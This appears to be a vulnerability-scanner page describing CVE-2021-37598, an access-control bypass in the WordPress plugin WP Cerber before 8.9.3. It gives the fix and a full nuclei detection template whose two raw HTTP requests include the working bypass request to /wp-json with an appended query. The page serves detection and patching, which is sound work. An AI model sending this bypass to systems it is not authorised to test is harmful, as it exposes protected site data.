WP Cerber < 8.9.3 - Broken Access Control

mediumseverity

5.3CVSS score

2.4%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

WP Cerber < 8.9.3 contains a bypass of /wp-json access control caused by improper handling of trailing '?' character, letting unauthorized users access protected REST API endpoints. The exploit requires sending a request with a trailing '?'.

Impact

Unauthorized users can access protected REST API endpoints, potentially leading to information disclosure or further exploitation.

Fix

Update to version 8.9.3 or later.

How to confirm it

Send: GET /wp-json
Positive when: status_code == 403 || status_code == 404
Send: GET /wp-json?x=1
Positive when: contains_all(body, "\"name\":", "\"url\":", "\"home\":", "\"description\":") and regex("(?i)application/json", header) and status_code == 200

Run it with nuclei: nuclei -id CVE-2021-37598 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-37598

info:
  name: WP Cerber < 8.9.3 - Broken Access Control
  author: theamanrawat
  severity: medium
  description: |
    WP Cerber < 8.9.3 contains a bypass of /wp-json access control caused by improper handling of trailing '?' character, letting unauthorized users access protected REST API endpoints. The exploit requires sending a request with a trailing '?'.
  impact: |
    Unauthorized users can access protected REST API endpoints, potentially leading to information disclosure or further exploitation.
  remediation: |
    Update to version 8.9.3 or later.
  reference:
    - https://github.com/mandiant/Vulnerability-Disclosures/blob/master/FEYE-2021-0024/FEYE-2021-0024.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37598
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-37598
    epss-score: 0.0235
    epss-percentile: 0.83831
    cwe-id: CWE-863
  metadata:
    verified: false
    max-request: 2
    vendor: wp-cerber
    product: wp-cerber
  tags: cve,cve2021,wordpress,wp-cerber,access-control,rest-api,exposure,auth-bypass

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 403 || status_code == 404'
        internal: true

  - raw:
      - |
        GET /wp-json?x=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "\"name\":", "\"url\":", "\"home\":", "\"description\":")'
          - 'regex("(?i)application/json", header)'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from